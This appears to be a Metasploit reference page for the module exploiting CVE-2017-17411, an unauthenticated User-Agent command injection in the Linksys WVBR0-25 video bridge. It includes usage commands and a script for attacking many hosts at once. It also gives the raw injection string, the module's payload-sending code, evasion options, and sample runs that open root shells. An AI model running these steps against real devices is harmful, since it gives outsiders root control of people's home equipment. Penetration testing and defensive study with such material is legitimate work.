Linksys WVBR0-25 User-Agent Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linksys WVBR0-25 User-Agent Command Execution
Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
Source code: modules/exploits/linux/http/linksys_wvbr0_user_agent_exec_noauth.rb
Disclosure date: 2017-12-13
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-17411
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41 of the web management portal via the User-Agent header. Authentication is not required to exploit this vulnerability.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using linksys_wvbr0_user_agent_exec_noauth against a single host
Normally, you can use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth this way:
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > show targets
... a list of targets ...
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set TARGET target-id
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > show options
... show and set options ...
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
Using linksys_wvbr0_user_agent_exec_noauth against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your linksys_wvbr0_user_agent_exec_noauth will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a command injection vulnerability in the Linksys WVBR0-25 wireless video bridge. More information about the device itself can be found on AT&T's manuals page under the "DIRECTV Wireless Video Bridge Gen2 Product Manual" heading, as well as on this unofficial product page. A description of the exploited vulnerability is available in the Vulnerability Details section of this advisory. The latest confirmed vulnerable firmware version is 1.0.39. It may be possible to downgrade newer versions to a vulnerable version, but since firmware images are not available for download, this cannot be verified.
There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method browses to the root of the device's webserver with a User-Agent set to "; printf "[random string]. If the response contains an md5 hash of the random string, the device is vulnerable to command injection.
Manual exploitation would equate to browsing to the URI http://<ip>/ with the User-Agent header set to "; command;.
Version 1.0.39 was confirmed vulnerable, and firmware 1.0.41 was released to fix the exploit.
Verification Steps
- Make sure the device is running.
- Start msfconsole.
- Do:
use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth - Do:
set payload cmd/unix/bind_netcat - Do:
set RHOST [ip] - Do:
exploit - You should get a shell.
Options
PAYLOAD
The generic and netcat payload types are valid.
Scenarios
Firmware 1.0.39
The following is an example run getting a shell:
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
RHOST => 10.0.0.104
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
[*] 10.0.0.104:80 - Trying to access the device ...
[*] Started bind handler
[*] 10.0.0.104:80 - Exploiting...
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
id
uid=0(root) gid=0(root)
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Msfconsole Usage
Here is how the linux/http/linksys_wvbr0_user_agent_exec_noauth exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/linksys_wvbr0_user_agent_exec_noauth) > show info
Name: Linksys WVBR0-25 User-Agent Command Execution
Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-12-13
Provided by:
HeadlessZeke
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to
connect wireless Genie cable boxes to the Genie DVR, is vulnerable
to OS command injection in version < 1.0.41 of the web management
portal via the User-Agent header. Authentication is not required to
exploit this vulnerability.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-17411
http://www.zerodayinitiative.com/advisories/ZDI-17-973
https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
Module Options
This is a complete list of options available in the linux/http/linksys_wvbr0_user_agent_exec_noauth exploit:
msf6 exploit(linux/http/linksys_wvbr0_user_agent_exec_noauth) > show options
Module options (exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/linksys_wvbr0_user_agent_exec_noauth exploit:
msf6 exploit(linux/http/linksys_wvbr0_user_agent_exec_noauth) > show advanced
Module advanced options (exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/linksys_wvbr0_user_agent_exec_noauth module can exploit:
msf6 exploit(linux/http/linksys_wvbr0_user_agent_exec_noauth) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/linksys_wvbr0_user_agent_exec_noauth exploit:
msf6 exploit(linux/http/linksys_wvbr0_user_agent_exec_noauth) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
1 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
2 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
3 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
4 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/linksys_wvbr0_user_agent_exec_noauth exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/linksys_wvbr0_user_agent_exec_noauth) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Failed to access the vulnerable device
Here is a relevant code snippet related to the "<PEER> - Failed to access the vulnerable device" error message:
67:
68: def exploit
69: print_status("#{peer} - Trying to access the device ...")
70:
71: unless check == Exploit::CheckCode::Vulnerable
72: fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
73: end
74:
75: print_status("#{peer} - Exploiting...")
76:
77: if datastore['PAYLOAD'] == 'cmd/unix/generic'
<PEER> - Command execution failed
Here is a relevant code snippet related to the "<PEER> - Command execution failed" error message:
95: print_good("#{peer} - Command sent successfully")
96: if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
97: print_status("#{peer} - Command output: #{$1}")
98: end
99: else
100: fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
101: end
102: rescue ::Rex::ConnectionError
103: fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
104: end
105: end
<PEER> - Failed to connect to the web server
Here is a relevant code snippet related to the "<PEER> - Failed to connect to the web server" error message:
98: end
99: else
100: fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
101: end
102: rescue ::Rex::ConnectionError
103: fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
104: end
105: end
106:
107: def exploit_session
108: begin
<PEER> - Failed to connect to the web server
Here is a relevant code snippet related to the "<PEER> - Failed to connect to the web server" error message:
108: begin
109: send_request_raw({
110: 'method' => 'GET',
111: 'uri' => '/',
112: 'agent' => "\"; #{payload.encoded} #"
113: })
114: rescue ::Rex::ConnectionError
115: fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
116: end
117: end
118: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #9336 Merged Pull Request: Adds exploit module for CVE-2017-17411
References
- CVE-2017-17411
- ZDI-17-973
- https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair
See Also
Check also the following modules related to this module:
- exploit/linux/http/linksys_apply_cgi
- exploit/linux/http/linksys_e1500_apply_exec
- exploit/linux/http/linksys_themoon_exec
- exploit/linux/http/linksys_wrt110_cmd_exec
- exploit/linux/http/linksys_wrt160nv2_apply_exec
- exploit/linux/http/linksys_wrt54gl_apply_exec
- auxiliary/admin/http/linksys_e1500_e2500_exec
- auxiliary/admin/http/linksys_tmunblock_admin_reset_bof
- auxiliary/admin/http/linksys_wrt54gl_exec
- auxiliary/scanner/http/linksys_e1500_traversal
- exploit/linux/http/dlink_command_php_exec_noauth
- exploit/linux/http/dlink_diagnostic_exec_noauth
- exploit/linux/http/dlink_dsl2750b_exec_noauth
- exploit/linux/http/dlink_hnap_header_exec_noauth
- exploit/linux/http/dlink_upnp_exec_noauth
- exploit/linux/http/raidsonic_nas_ib5220_exec_noauth
- exploit/linux/http/realtek_miniigd_upnp_exec_noauth
- exploit/linux/http/seagate_nas_php_exec_noauth
- exploit/linux/http/synology_dsm_sliceupload_exec_noauth
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/windows/http/sap_configservlet_exec_noauth
- auxiliary/admin/http/dlink_dir_300_600_exec_noauth
- auxiliary/admin/sap/sap_configservlet_exec_noauth
- auxiliary/scanner/http/tplink_traversal_noauth
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
- exploit/linux/http/centreon_useralias_exec
- exploit/linux/http/cisco_firepower_useradd
- exploit/linux/http/klog_server_authenticate_user_unauth_command_injection
- exploit/linux/local/libuser_roothelper_priv_esc
- exploit/linux/local/network_manager_vpnc_username_priv_esc
- exploit/linux/local/rds_rds_page_copy_user_priv_esc
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/ibm_drm_a3user
- exploit/linux/local/juju_run_agent_priv_esc
- exploit/linux/misc/netsupport_manager_agent
Authors
- HeadlessZeke
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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